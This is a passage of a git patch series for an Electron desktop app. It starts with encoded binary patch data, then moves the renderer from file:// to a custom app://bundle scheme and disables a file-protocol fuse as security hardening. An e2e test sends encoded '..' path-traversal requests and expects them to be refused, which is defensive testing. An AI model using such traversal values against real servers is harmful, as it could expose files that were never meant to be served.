z6Ql#e(|VccA1mn3JJ325o(X6OI~OBLuhb_)lRNx}h8nA_%03nne|aiZf42X41K|pL-|;UBvwhKc;C%5FGE5 zJPK4Or+vxSz6`reygss}^Rx5Ro~3IN?kHm_Jaq0vrxr}ArE2=sG(deMa^YP0_EL(i zJ|pAt+adXyjvW~CcfaDBAEEvI%~W&`xpMhX7|NVsWto~4b?3&9uHHleB2WQ>wsiB% z#(SsBr-=HT`C_0_j6ro~=_q7CeRroX*1;(d3>%DV^*JRe-5ufgp7vBsa*$d;N1CfF z`c9LI?7JRhQ1FBr5cSn)bV_pf3IF7!GyW1}Z)Mxh+-qISOGG*FHqxg$Sg!&DuiE<0 z`+=gTCO`8jL@7_Hz<(%TB&#8~F>qeVmt1#WLlq zw-;()r$ECdsF(d*G~4u~oQA&B)gE0``q8K2tPN7j_g{){`!Np1sRLBke-nD^-c*_% z^Ptc*bNL%*0qrIQT;50QZT_~{v$ptGMwQv;4>3gIs5UO8NX}sMJ}z5%Zm$j`o@HYB0Ov(&%#Aalu7j+iM9g>$#NOOo zY=n68dWP|3U7MC(B>o5rnpNtoQ-s~NLi%F$nn3vMxuwNhhFCsMygRYRWcUK4ciTf0 z&F^kNr28SJi&$X^?+n^U40%wR(P?@IpE8aGGC)Fxe{gd_pb#QcY11+AAB(3j4QuOr zWHrOUGdCpGJ##PCzPWGrZ~NH2Qg^LkIGic-OqB73W6m5ADLEvCaWcN6a22; z^s$jK*oA<=Q0l=^aGjFV%qU~TJ1GzfgkO)kY^M59TQP63EskhMu*QQ2W#Ns_^NxtW zq%OI^ElXVuF`I*@W?3G`MK(H`H6}GbI3A5Y`#^jLBe`bxI0O|zeo*N0{qD2M#?YJ?yUV*2)r|%qoL$Jq<+J^Wl_Ci*_)lc!` zpeAZE?1!G!Of-qGm-nbXR&^yfXFL2f`#Jjb`=-w0cZf&idbF{pL>DV%g}=p410aYV zRlgG=2p;g^nKZ>XC*;KN!F{su*OL#viY)z}bvZrBQDJ~tS8cwZ%b)lB`dNAPH50jA z!RGi8 zQ@wI3}trm^7#p<>Z3ra)d9^}7@Cr9&1v5mfqR@E-{E5a6DxR00+@f( zqsz}j?v%rV{+&kvuF1(7`K>SUuR1apzUg-b6l0u1I^Jn3~Xw=gtKL z#wNMHxbNpDo6pLc3{zV?ez%}Vku_N;W4&o*cuICEeluZj!XhedHYhbP94OnTMw>og z6e*oz#Fs)dMqvcvZ5$%DM=j;EEU3_a0$iy8ok>K|R&&&Rwl8s+CYNzhL!NyZ`&+A~ zFSSA>mY9%qh|!LX_*_Jg*M6-k4fOWU`}{{JR#c3Tm?!`BKC1(H_QCMqW&P`YR=^`IZXB;^YI5A2P7!$&CW4@2 z(ED!Qx3BZnko~hI?J(2%R|eOFJC#p6)0}0L=BVzJpFf_Qr5K(?V257LdUs;u#7x)Q zOb?o55GovSZ@goPextC)S9hG@iFiT9k+PF4@GAH~C#8ll_rB)1vIOkDpnXD5r0_G; zD;AlUsIoKG69i0%<0_rB=1S@-K^IHQLRk@(f+qwRDX?NP`lk(ek=J&Q2h$f#Pr1_3 zEIHKK4*vd*<2C8IGl}zLH~8r*HIBbb+xa7&5*GD&zDq>=qZ=)VFDgBS?i-8(TM9LD zK8VG^j}^O9t^00M)qE*$1}WWY{I+@?zt$fnj>W>WV=HO(K4zP@qk2Wn+@Qy!XZp=w z>9s%V)oI)-vYpvAqn25D$4&0E2TsA)2NK@6ht4)1H@8O#N%Oxsp?%;HQIAMJ9ttKU zqdR$%7g21LA}WuM9Z{7>9KVT}pfUwnsofnj#k{;qBs!>ZydMZFZeVT4UCT$zkhFPN zd6Xjtg*&UB3vn4L)63;xYP@gnR1#Dlc2>{BEpW&N?*+fY-?937zm3*(fJ4m$-W^HI zU}u;7bwSpL&!l4DC$ zo!tQUWNr-WgA@5CE!`55>4GFhmif7Dt1JQA3O-qj35o+P$y3D#(~ef-pz_cAIg3`#f6eP3#b%HJQ=miLK1vH!i)6uPTOGBGp(B<` zPUwd9Q9%(k7av@+XTeV5`6cG{}7a>e;iFka)7(+DAGW+Y5}^ zQJuGr!+ejFrks5jE=ZV@`Gvmx?TA$i{(DHGnyUk%7 zn@?QospEW*kL}B2pSH~jO}QFySL!Mg<3+otdIyt%7{-499(rm*{Ul z;+Vbb7H5cM5GYS~hreV__sPe4!6J3!$tLD5C-Iawi zylz3{rfIq7jH_~+=0XpY{7uVH{#btV(g-cXWlFD+ia`-kPHoh<*GyU8SvY>eL8&pofozr^A9Z zhOTU-!*TI}D!f6@8GO7}e3$%<$3br{YxD8?opIX=t4TVoS)GU7`7upu?4s*3S2vaf z)0aR^6e&=9Lv><*JrNX$DPH9ZuG72Qwv*}9y^`{ydyVW*UQoFWG@`EvMFj3(+D(70 zQ&*_a&eqv@b*6q?C%IeVY3&O0op=}29-LmbZz;i%v_U{&jMYea% z{-|na*u9f0v`Q*LVUISL&x}qo& z9>f20_k0J-F^l8Izs4?xOo(aRFzBF02_l5~7lOJu;s7h_= zYYyi;3OXBo$RQ7Ec%-Dw#A=$|~#E^a8X2#5SX7oLd_x<5Lj`t7v%n#3x&wbz5b)DyR z-q&@{{ZIhUNUcK4e<+2V{X_iAp{v-i&bb2|hV~VAW%| zqxVN*Y`BPUoLr~zxoHq|9Ct5&pYREAh%!_q7#n|UNvNpo=9+H5^*G-p75&4m>1;}+ zH_zkm;WN2KN^JM)2AuNs$KuvFrhnJck2~IOe6p~P;Z!FivQLqxTUHd_vSvMkCN8@ldIU#o9hj*%WtJsBa-73L^aWga zv`U$c68_vZ&v=usDN|x@1f^s$=2-DBd2`|`{Bqr+@4)tcS^NYdJGrC!uYrmm9SN-xeC4qzH*`dCbP%huTNf!okCAKwvqKT|%8qx*9S7;h@`)-fj$J>kA;^=E%P<1A396!00|8S_WD zwrZ7dbE9q6F0lJIRZp!|$R!dbE2HR$H*FlMQBV+VWJgV9N!gDn=QG{;bB6Yvi0MWR zzRyf>D<>gI5CGHGYO@lqTPx|K~5d zFh#yuAE#*W-vl*84QHX&l?iwe>ZzUv)tD185USgy*ii&}qRU0!1ivkZbFe;_YWR5i z>RRGIM(1HB7Gb(xACuNk5y35X`)g29*>p%g08)zs;kC-~*}zIYMHk=)H0?}xOVPCT z%QcitM+KHykdpVR@a~D@maR?oe$!88!e!WsOG&QbEQgyp{sG>7=+!udbh6r9McL-~ zfl8O2Nvv@7Eshwn0Eq#BvRTGr7TCmzKIl&bj1C@u{@rb1-MB1BJv7!HI5s5jmd%En z?1F`h$1yRr>``sT>fm1YHA{sYDj*8mC_TUI`&q=*bR_&n2y>YGANTB4<$#r&E#vXM zri6q`cs(sN{{!2MdLy*M`1vK%xD%NZ+a-0A=rxwAFpGcSm5X>#!DHL-WigwatWym+ z;keFLbz#CJBhJ&K05_?~|9AN_k2$ZhskU)*z1dhtw9@E@o170G{Z`W$%x;`m+l8ud zi5eDToPTl((6au8PO?Z&SOa1wyh0DRQlH(M7}NIu$a%m*2ICNQ!)lCKAp{mi7K%gE zCIcTe&>(XW7bzt;0kq&gv8ibAzT-C}F{IkQ^Ne&$46_a}$*+WwssqcQlY5=#_ z!}1uM-Xw(znfZw{h#txCVNcNWwYiX6rf<}m1IqL0coi4Vo+j$=OhmVOD+J1r-6}x* zU**r2I}O6B6_Q?2pblZXA%FeOLRbAeu`cw(6J-ykGM9y^2>xg(E0H(V0E6>l@h%J; za10JQiFus=F68T)?lWVKc_W~@**QXT=wtWjT_*6G5m9L3rA@o=t}gj0vbr|cjj%apfT!~| zF_R^3B(+h0K`LQ4l)t6qjZ-M6IXvJ&%MX&%N`U;R&fI(I7w)45e!}6+3TI=5ev&lpxCPnqBZtO`P=B0K2j)1$ zXN^Qq=VWoC1%}(%R?ZC+mwjy_UY6(>lQ#aL-sI;=RTa}}H`1r()phjm|6O%EI zz?6n09N%@T976Xe+kSLkJ0-7F_9N-7pW406d^dX4a1T~@hPpSnh@_Lvs|->r%w{+s zs|nYL_ZV9_`(2%Cqk}u~LyjkS>|CSzJmq^ycI6fXdv~9o{g~o?v+yX!h1bJ`ER8i~!PV_+q)@cG2^ba=E3ah8iIo;KDoIb9?+{I-3crrxVt}RS;bA%pg z!FYVPRM)6BBP?FAKp~wtxmpT=duT>vQF{qJy{f6=>3hP2{3H~smnk=BGoyrd{tQw^ z+k!`Df-PzwHdarcK7o)RL`lUi+Df0?nN>*!nB6Y`3-J=lqPbDr+;(g@D!ssYGY&Y} zW#n3WX*4F7^9a|yci*+^V-v%n6W`@nTyKeHi7Nzhl6al6I@m$q&EW-LBBIGgg7ZQ< zq?B+W=+Awh%OqzPlJ0$Sae8?|+7LAuappIg;kKErSVDATHWS~kFFWa2P)L>ch+Gfo zKts9!>A#-lb&g`75d@(Zx9XHC-_Q!53}H}WA#dtqQ>$^ z!yHWZAU%jgE=s}Tyh^t#DW$T&)-?UT_Vio%0Cuv=e*s(;2oXdsG3m#u zQ48Jnx9}W-qHag+S}dw=S5FA~Ct%yQUi_pH%et5E!Tl>{UZ%-ozs(XI+?Mw7Gi;ci zi@-t4XRV>QYvIM5u-USq^OMGlUvQKZvNS(UiCYF|$JKAAV9{XwefdnvEjrfh#G#r) zY!P||X}xe0q*NQ!+RVLuo2!)}?yZjcxz!XpRnyv8RJWlL;XxIxWG{_@cN7S(x}!5T z@m6>oaJq~PYRqw*uOq`KIgWm+DXVlFe2VB!pugEPMZH>m15?#^U{Y<)^ZEL;IKq47 zs=VAgWrh%1KdV4)jUW|$B`8E|>^;BD#;=fd?`_Lf)X&V1ibHH{#2~FC9RU$algxQR zT*6+SGD~{dd!{AG0gSJB#8hJ$E47adjkYJaTQF_}mayH)Xrq{vlt5K)a}9T%ywNKx z+L9Md<&s##s*Sy?5HOUl|6pdDBzx^b@qf`F2RjWldR`ifh+bP#FyTSIO_90}}H@+sh_O;;Z_h09AqCVVE!l@FPOC zq-XubKfeyO8)bj+@iVpNq?z6hx5{$FG^fT}NS!lCZ_z?3!Xbj~FJC!XFu!i^Z#uw? zyqs4j>Bw{hh0^e%UMC$n`{?ExxyoCV!)bNhh#%Y`=nFDc5#R>DhG*R|EhBcXg<>v? zWySN<`s8GEyyZ;JyXY`avCw^HtI!m-R&x-vL6TuKoMQgOuE3&42Z#*%&&n%^_0THC z-qA&^$&W_jZZ=p=pRXnRhq$1iZb5)~0WEhjc=dst^{T$6qhseFuo9wE&pjiU?Dk0h z^+KyK*=`T1k8X;a-G-ABSNg47Kf+MfMFR1r{}O7GZEMF>le^HT+vzn|;MdmF>I zJh$DO!Of1e2!mE#px_y2)Zg?xn{bM(Poyw1Ng5+T;Y3g@z}77v{M<)dhZmRgiMuGM z-6_TB&IiVvDcNtlWwC&^o*zzV)AI8|$yAwRrdt`{cSVTyyrsH-8+$fVck2u=>mM^; zdqY1g7Wf&1*MA;~)l&B5vXP*C|ByJLcJN`o%T>xu?*2?|agc(FF@+#L?K-vV6@yie zrjBRjE}z(H4UU+}&`%)gdWJW>WQP>c9oZK^=e&)T!4%$>jXyb}x)`YLd7IRTOQc?> zHj(jJd!t|Zk3uYHiJe>>erYmI$-Y$fN;$d^F{!Ie>$nfLl8k3>i8Fbua)aHXBSfRZik#3|pG3S(wr_!ZJZCUQxFE92h8m!>;n5(N z5A9T@V>#ck8Gx(t@f|^NY6NWXF;ef3TyX2Hh{b-I67G7@AcF*cAo-=cj6}qJ^lG|5 zat!BrXO`BSw+#x$E|u4$)jjB)q8j(_F#8PNTv`g-wFjVL&CKX;s^mBPUye?<$X%PZ$@iG#^gqbHH!B^bbrJF4 z`W64C)kjOwTN#ffww3R*%y?`j*cQVUoO;V%zvipI3Kj6>>FVqWT<#1wEq+v9CSn%& zxf4R1aYPGHQy6isG_l0ir*3*&a>In8M&~7qTQ)|6-xphOpuN#6v~@|vWqWS%3Gl^C zhRiy$R#0PmqG5eDKp~!TcCdCVjFIg&8MybTiL6@02_*p+W2P*OVAa{ca)g>(tV8*? zJh|f1g2hX@a0I&H`WX8hQJNtCd`?6&^&v0SyLizLWqU*16MFLFoBopV_nY7?n;R3` z=1q%5&Z~#wZQCRO?~*8S=2_Eal7m_=dN|ikJ+~I*j z^cRuM=Gfpq{?h89Vg=_|W>asH8Xy%fdWEoGG|;e^`>%e=4yaN8c_u!MY?d0TVSlT@ z$ukgRa>ncMpoj-~hyLvkVW4-pI=j55@!hz4`$bkpxv+&Ndz{RZK`@%R;~C-(;uQXL`rb z{8>~&<}6bGmqN^IA_9e86N63XYd4vbLb=6cuYGx*cC6po8ZTz{0$z-k8)mg29>Y$3 z`Bp_xE#aA#Wc-r@7qelO-cbTxL~r}=$SlWK!kdtC$hu~#d?E?b;jK5RECu{y0y0NV zp~j}gna|A;I?AC?Jadf@foaMqQtY9%7V@p9PfN$!3Lk$y7@ydfL!~J9d_uk$=VFdJ zU$`{`Z{=#KVV2pVJ(66&8(rm2vYXa5h8YtubkOEAkJTzKqFaAq3%Dm5gL#Kkhu|r zdPAM0ju%~FsZge6p=EM2MX`&jU+N1)Llt79&~k{G z&SW>7b|Fqfxw&tIlWi%zLgr8=!@T0FGBlRdD@K?}CQea7gm({8})JzuS z%=+V@VMyg|c&G-goy$p%r-07}-28lhz?SD>s;SbUWLkMpg&-gZ$@X379Snew{*NwB9X_mRWd?)e9ZT23R%G@u?6EA#tNqA&w1e_qK z2t6@&cRPv=aLdDsrbum)Ft}Gsah)PG6mutl7MbFWjB#+hvgXha7sAEnwpE6~?1Xt~{R(!AnWC7gL^Y8I~EBpo|Z zE@k%I_trHS?IoC|qab}5S+$rag@?9P{!2;s0WJ>?zx0KyyX-%ng{*)G&+>b$lH5+} z8v_mdrR`4e{(?tH{u{44+|2;~G8`sL8^M!sm`4v^Hq<81n=&Ym%?0=Ba}{*s+p)(p zY~OWd*i)UG!O^4@MG{xk>;=4Ymbju^d+OmB3xTP`Y42~=7K=73s`C}Hb~cBO0P}F@ zEYkAe_-JX>{tziRUUTC~B`pdqWXA>)s4nk>(Aj_MYCcey@Ij zP$UGdC+}Aoi<%mg_yW_#^|6D@x3DkILu@S?kL?9Dm`mx@Asta3uEPd7VZN`sR=@Co z-`rrkF~i!Km`m5S!^ovbs!9H}kMKAi80jp0rAo@XLHBdP=PMTnlR?jCIiwKSK<)XB zgjwMS`-KB|i4n7f{nhseo@Z)ZGH5i1R6WvEa@{Mm!|98z%xZ&q$90o46RPIVWw@E% zy68OnW7~6-bsy!ggy%TCf)iD(n&bK>@C~=x z{@Exur!ZG9WgrtbRsX=Pt@eG`#e>4<6F`UP5J;#SHivJ~k8`4Htr_9T)w@B#_33xm z(2@?H;*v;84xMj;b#1cVY!gP4#D2Sk*$~L;=u3}+_9)UUa2VQI11yL&PwCZlda@Lzo~l4A3BTrCjR+Djg2KaU;0LYJG> zv5s$?tCJ6D z>a)4d>Jb;6?=yKgr2T}7O0UJVy{}JDd#GY*hIunm+(3hZ;-ae7eHD}98_X3xGMfQ! zOx6Piza0AOYkX?1ApM1=Z5@j9))<)n_8;-( zFo(&LxR}^xzjpoZSH{z>ORBydPs`=B&A&(7UqnMWOO2oZ8fUdKUQ3@H9_nkMmzmNWNr>xPS!^ihkBGaxd){}jv$eu%~OHj z@zRRQ-87XxHG9ZlwHNl%PXRB)0X8KSl)zVz zzH&#c@*NT9yP$`0u)H#cU=Zue{_eNJYM}^rBohC-gmo%=^KPybrs*cOI`seOs;~BV zs`-8V*H!0<@B>xkPnc~s9Wu!^=rFZ56OR)Evq43$=%H)v7X3`BCC?xyZS!Umdz(`3 zOfofD#n5ew0`2HMzfapbQpbeN%U?BE8=-`E@LILaTEmnxKYKpPHlY1nqx1q#Qkjp` z>r9poQv@|i=Uw!e6pD?UM$!E2g!vxBGI^srus=q_WoMT`C00ky&3}~E{oI4OTVhQK z9s=@fe8h0;-vtbX@$cg(pN5lZ=Z5fBU2bDgM}ZSlMsO58UTtD`2~ulQQr7d)q)P``*p!I+6&bAZqg($2zecb4K#A30FuWnhJOg$K zC#al}BA_rLsAHP2XC}!$RN}e35pThuXgpbc5_1*%9uU?eJ`nv+>XbEwhbI4TYt{uI zadxisBYfFKZA8I}s~D;LXuO&+OTpr#RNv^CZ)7A6T-8@g?R*6S|t3-Plb7BZgZ%4Z&rkxi2U+E9S2xACXKDr?r0=cWfL8GE$UJ5^ zneS=4t&jaKuySU zHx+y(*iXwdmG6k#{IWd7oKsQ3Od0BQaaq57@5N!Dj1P3_r5{kxULVnzAC|)&tbt7eg*H z3K`^D3-kwZ(fxd2if;Wi8vEKVhqGMmD{_cB6aB-~O6IaK>%PBj>1Tn8fs1X=bt1z~ zcgtkj{_jCn4*xxf`h}b){(Jmqi2q38KP>#m2mdkQ|1T3pumg_>W4lilt}KjPpdkLV M)E?ZgxMvsnKYhW!ivR!s literal 0 HcmV?d00001 From 8fb9ef078f28b87be455f30459a912f3b93a2f03 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 15:35:10 +0300 Subject: [PATCH 082/141] e2e: CI runs the app on its virtual screen, not hidden Under xvfb a hidden window paints no frames, so Playwright's clicks waited for the page to settle: the interaction-heavy tests took 30-45 s each in CI and the first timed out. Hidden mode is now for local runs only. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- e2e/fixtures.ts | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/e2e/fixtures.ts b/e2e/fixtures.ts index cfea986..9754fcc 100644 --- a/e2e/fixtures.ts +++ b/e2e/fixtures.ts @@ -63,8 +63,9 @@ export async function launch(userDataDir: string): Promise string, string >; - // Off screen unless CFPB_E2E_SHOW=1, so a local run doesn't take over the desktop. - if (process.env.CFPB_E2E_SHOW !== '1') env.CFPB_E2E_HIDDEN = '1'; + // Off screen locally, so a run doesn't take over the desktop (CFPB_E2E_SHOW=1 shows it). Not in CI: + // xvfb is a virtual screen already, and there a hidden window paints no frames, which stalls clicks. + if (process.env.CFPB_E2E_SHOW !== '1' && !process.env.CI) env.CFPB_E2E_HIDDEN = '1'; return electron.launch({ args: [appEntry, `--user-data-dir=${userDataDir}`], env }); } From 27e576a97234af205df88bf5881a4d5fbf4ee03c Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 15:40:15 +0300 Subject: [PATCH 083/141] The app loads from app://bundle instead of file:// Electron's security checklist #18: the built renderer is served by a custom standard, secure scheme that maps only to its own folder, and the GrantFileProtocolExtraPrivileges fuse is now off. The page's origin changes, so what the renderer kept in localStorage starts over once. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- SECURITY-CHECKLIST.md | 6 +++--- e2e/security.spec.ts | 9 +++++++++ electron-builder.yml | 6 +++--- scripts/fuses-check.mjs | 3 ++- scripts/security-checks.mjs | 8 +++++++- src/main/index.ts | 33 ++++++++++++++++++++++----------- 6 files changed, 46 insertions(+), 19 deletions(-) diff --git a/SECURITY-CHECKLIST.md b/SECURITY-CHECKLIST.md index e8c1999..a23d2ed 100644 --- a/SECURITY-CHECKLIST.md +++ b/SECURITY-CHECKLIST.md @@ -15,7 +15,7 @@ on each push and pull request, and weekly: | # | Recommendation | Status | Evidence | | --- | --- | --- | --- | -| 1 | [Only load secure content](https://www.electronjs.org/docs/latest/tutorial/security#1-only-load-secure-content) | ✅ | The packaged app loads its own files only. Everything it fetches is https: the Enterprise hub (`checkedUrl` in [`src/main/hub.ts`](src/main/hub.ts) refuses anything else), the masterfiles versions index (`VERSIONS_URL` in [`src/main/project.ts`](src/main/project.ts)). `http://` appears only for the development server on localhost. | +| 1 | [Only load secure content](https://www.electronjs.org/docs/latest/tutorial/security#1-only-load-secure-content) | ✅ | The packaged app loads its own files only, from `app://bundle/` (item 18). Everything it fetches is https: the Enterprise hub (`checkedUrl` in [`src/main/hub.ts`](src/main/hub.ts) refuses anything else), the masterfiles versions index (`VERSIONS_URL` in [`src/main/project.ts`](src/main/project.ts)). `http://` appears only for the development server on localhost. | | 2 | [Do not enable Node.js integration for remote content](https://www.electronjs.org/docs/latest/tutorial/security#2-do-not-enable-nodejs-integration-for-remote-content) | ✅ | `nodeIntegration` is never enabled (`createWindow` in [`src/main/index.ts`](src/main/index.ts)); the running page has no `require` or `process`. | | 3 | [Enable context isolation](https://www.electronjs.org/docs/latest/tutorial/security#3-enable-context-isolation) | ✅ | `contextIsolation: true` in `createWindow` ([`src/main/index.ts`](src/main/index.ts)). | | 4 | [Enable process sandboxing](https://www.electronjs.org/docs/latest/tutorial/security#4-enable-process-sandboxing) | ✅ | `sandbox: true` in `createWindow` ([`src/main/index.ts`](src/main/index.ts)); no `--no-sandbox`. | @@ -32,8 +32,8 @@ on each push and pull request, and weekly: | 15 | [Do not use `shell.openExternal` with untrusted content](https://www.electronjs.org/docs/latest/tutorial/security#15-do-not-use-shellopenexternal-with-untrusted-content) | ✅ | The only `shell.openExternal` call is in `openExternalIfSafe` ([`src/main/index.ts`](src/main/index.ts)), which passes only `http:` and `https:` URLs. | | 16 | [Use a current version of Electron](https://www.electronjs.org/docs/latest/tutorial/security#16-use-a-current-version-of-electron) | ✅ | Electron 44 ([`package.json`](package.json)), checked weekly against Electron's supported majors and `npm audit`. | | 17 | [Validate the sender of all IPC messages](https://www.electronjs.org/docs/latest/tutorial/security#17-validate-the-sender-of-all-ipc-messages) | ✅ | Every `ipcMain.handle` checks `isTrustedFrame` ([`src/main/index.ts`](src/main/index.ts)): the top frame of our own page only. Feature modules wrap their handlers in `trusted(…)` ([`project.ts`](src/main/project.ts), [`deploy.ts`](src/main/deploy.ts), [`hub.ts`](src/main/hub.ts), [`testenv.ts`](src/main/testenv.ts)). Unit tests check untrusted senders are refused ([`project.test.ts`](src/main/project.test.ts), [`deploy.test.ts`](src/main/deploy.test.ts)). | -| 18 | [Avoid usage of the `file` protocol and prefer usage of custom protocols](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) | ❌ Not yet | The packaged app loads its page with `loadFile` (`file://`), and the `GrantFileProtocolExtraPrivileges` fuse stays on because its ES-module scripts need it under `file://` ([`electron-builder.yml`](electron-builder.yml)). Mitigated by items 7, 13 and 17: the page can't navigate, load other scripts, or reach IPC from another frame. The fix is serving the app from a custom `app://` scheme (`protocol.handle`), then turning that fuse off. | -| 19 | [Check which fuses you can change](https://www.electronjs.org/docs/latest/tutorial/security#19-check-which-fuses-you-can-change) | ✅ | `electronFuses` in [`electron-builder.yml`](electron-builder.yml): `RunAsNode`, `EnableNodeOptionsEnvironmentVariable` and `EnableNodeCliInspectArguments` off; `EnableCookieEncryption`, `OnlyLoadAppFromAsar` and `EnableEmbeddedAsarIntegrityValidation` on. Read back from the packaged binary. `GrantFileProtocolExtraPrivileges`: see item 18. | +| 18 | [Avoid usage of the `file` protocol and prefer usage of custom protocols](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) | ✅ | The packaged app's page is served from `app://bundle/` (`serveRenderer` in [`src/main/index.ts`](src/main/index.ts)), which maps to the built renderer folder and returns 404 for anything outside it, encoded `..` included. Nothing calls `loadFile`, and the `GrantFileProtocolExtraPrivileges` fuse is off ([`electron-builder.yml`](electron-builder.yml)). | +| 19 | [Check which fuses you can change](https://www.electronjs.org/docs/latest/tutorial/security#19-check-which-fuses-you-can-change) | ✅ | `electronFuses` in [`electron-builder.yml`](electron-builder.yml): `RunAsNode`, `EnableNodeOptionsEnvironmentVariable`, `EnableNodeCliInspectArguments` and `GrantFileProtocolExtraPrivileges` off; `EnableCookieEncryption`, `OnlyLoadAppFromAsar` and `EnableEmbeddedAsarIntegrityValidation` on. Read back from the packaged binary. | | 20 | [Do not expose Electron APIs to untrusted web content](https://www.electronjs.org/docs/latest/tutorial/security#20-do-not-expose-electron-apis-to-untrusted-web-content) | ✅ | The preload ([`src/preload/index.ts`](src/preload/index.ts)) exposes one object, `window.api`, of functions over fixed channels; never `ipcRenderer` itself, and event listeners get only the payload, not the `IpcRendererEvent`. | ## Running the checks locally diff --git a/e2e/security.spec.ts b/e2e/security.spec.ts index 191a5cc..d3120e2 100644 --- a/e2e/security.spec.ts +++ b/e2e/security.spec.ts @@ -39,6 +39,15 @@ test('the window runs isolated, sandboxed and without Node', async ({ app, windo expect(api.every(entry => entry.endsWith(':function'))).toBe(true); }); +test('the page is served from app://, not file://', async ({ window: page }) => { + expect(page.url()).toBe('app://bundle/index.html'); + // Nothing outside the built renderer is reachable through the scheme, encoded ".." included. + const status = (path: string) => page.evaluate(url => fetch(url).then(response => response.status), `app://bundle/${path}`); + expect(await status('index.html')).toBe(200); + expect(await status('%2e%2e/main/index.js')).toBe(404); + expect(await status('..%2fmain%2findex.js')).toBe(404); +}); + test('the page has a strict Content Security Policy', async ({ window: page }) => { const csp = await page.locator('meta[http-equiv="Content-Security-Policy"]').getAttribute('content'); expect(csp).toContain(`default-src 'self'`); diff --git a/electron-builder.yml b/electron-builder.yml index 8601782..2471aa9 100644 --- a/electron-builder.yml +++ b/electron-builder.yml @@ -26,9 +26,8 @@ extraResources: filter: - '**/*' # Harden the packaged binary (https://www.electronjs.org/docs/latest/tutorial/security#19-check-which-fuses-you-can-change). -# Flipped after packaging, before signing. grantFileProtocolExtraPrivileges is -# deliberately left at its default: the packaged renderer is loaded via file:// -# with ES-module scripts, which need those privileges. +# Flipped after packaging, before signing. The renderer loads from app://bundle +# (src/main/index.ts), so file:// needs none of its extra privileges. electronFuses: runAsNode: false # ignore ELECTRON_RUN_AS_NODE (no Node-mode escape hatch) enableNodeOptionsEnvironmentVariable: false @@ -36,6 +35,7 @@ electronFuses: enableCookieEncryption: true onlyLoadAppFromAsar: true enableEmbeddedAsarIntegrityValidation: true # enforced on macOS/Windows; no-op on Linux + grantFileProtocolExtraPrivileges: false # @todo: wire macOS notarization + Windows EV signing in CI. mac: category: public.app-category.developer-tools diff --git a/scripts/fuses-check.mjs b/scripts/fuses-check.mjs index 5d0388c..6ae90fb 100644 --- a/scripts/fuses-check.mjs +++ b/scripts/fuses-check.mjs @@ -8,7 +8,8 @@ const EXPECTED = { EnableNodeOptionsEnvironmentVariable: 'Disabled', EnableNodeCliInspectArguments: 'Disabled', EnableEmbeddedAsarIntegrityValidation: 'Enabled', - OnlyLoadAppFromAsar: 'Enabled' + OnlyLoadAppFromAsar: 'Enabled', + GrantFileProtocolExtraPrivileges: 'Disabled' }; const app = process.argv[2]; diff --git a/scripts/security-checks.mjs b/scripts/security-checks.mjs index bdc07c2..4640038 100644 --- a/scripts/security-checks.mjs +++ b/scripts/security-checks.mjs @@ -75,6 +75,11 @@ const CHECKS = [ } ], ['17. IPC senders validated', unguardedIpc], + [ + '18. No file:// (app:// scheme)', + () => + nowhere(/\.loadFile\(/) ?? missing(mainIndex, /protocol\.handle\('app'/, `protocol.handle('app', …)`) ?? fuse('grantFileProtocolExtraPrivileges', false) + ], [ '19. Fuses', () => @@ -83,7 +88,8 @@ const CHECKS = [ fuse('enableNodeCliInspectArguments', false) ?? fuse('enableCookieEncryption', true) ?? fuse('onlyLoadAppFromAsar', true) ?? - fuse('enableEmbeddedAsarIntegrityValidation', true) + fuse('enableEmbeddedAsarIntegrityValidation', true) ?? + fuse('grantFileProtocolExtraPrivileges', false) ], [ '20. Electron APIs not exposed', diff --git a/src/main/index.ts b/src/main/index.ts index bcb452a..c8dba71 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -1,7 +1,7 @@ -import { BrowserWindow, Menu, app, dialog, ipcMain, nativeTheme, session, shell } from 'electron'; +import { BrowserWindow, Menu, app, dialog, ipcMain, nativeTheme, net, protocol, session, shell } from 'electron'; import type { MenuItemConstructorOptions, WebFrameMain } from 'electron'; import { promises as fs } from 'fs'; -import { basename, join } from 'path'; +import { basename, join, normalize, sep } from 'path'; import { pathToFileURL } from 'url'; import type { RecentProject } from '../preload/api'; @@ -64,16 +64,26 @@ function openExternalIfSafe(url: string): void { } } -// IPC handlers only answer our own renderer: the dev-server origin in dev, -// the bundled file: page in production. +// The built renderer is served from app://bundle/, not file:// (Electron's security checklist #18): +// a standard, secure origin of its own, so file:// keeps no extra privileges (see electron-builder.yml). +const APP_ORIGIN = 'app://bundle'; +const rendererDir = join(__dirname, '../renderer'); +protocol.registerSchemesAsPrivileged([{ scheme: 'app', privileges: { standard: true, secure: true, supportFetchAPI: true, corsEnabled: true } }]); + +// app://bundle/ → the built renderer's file; nothing outside its folder. +function serveRenderer(request: Request): Promise | Response { + const url = new URL(request.url); + const path = normalize(join(rendererDir, decodeURIComponent(url.pathname))); + if (url.host !== 'bundle' || !path.startsWith(rendererDir + sep)) return new Response('Not found', { status: 404 }); + return net.fetch(pathToFileURL(path).href).catch(() => new Response('Not found', { status: 404 })); +} + +// IPC handlers only answer our own renderer: the dev-server origin in dev, app://bundle in production. function isTrustedFrame(frame: WebFrameMain | null): boolean { if (!frame || frame !== frame.top) return false; - if (rendererDevUrl) return new URL(frame.url).origin === new URL(rendererDevUrl).origin; - // Compare URLs, not a raw `file://${path}` string: Chromium reports frame.url - // percent-encoded (the install path "CFEngine Policy Builder.app" contains - // spaces) and Windows paths contain backslashes, so a plain string - // comparison never matches in a packaged build. - return frame.url === pathToFileURL(join(__dirname, '../renderer/index.html')).href; + const url = new URL(frame.url); + // Node gives non-special schemes like app: a "null" origin: compare scheme and host. + return rendererDevUrl ? url.origin === new URL(rendererDevUrl).origin : `${url.protocol}//${url.host}` === APP_ORIGIN; } // Mirrors the three entry points on NoProjectScreen's welcome card — the @@ -198,11 +208,12 @@ function createWindow(): void { if (rendererDevUrl) { mainWindow.loadURL(rendererDevUrl); } else { - 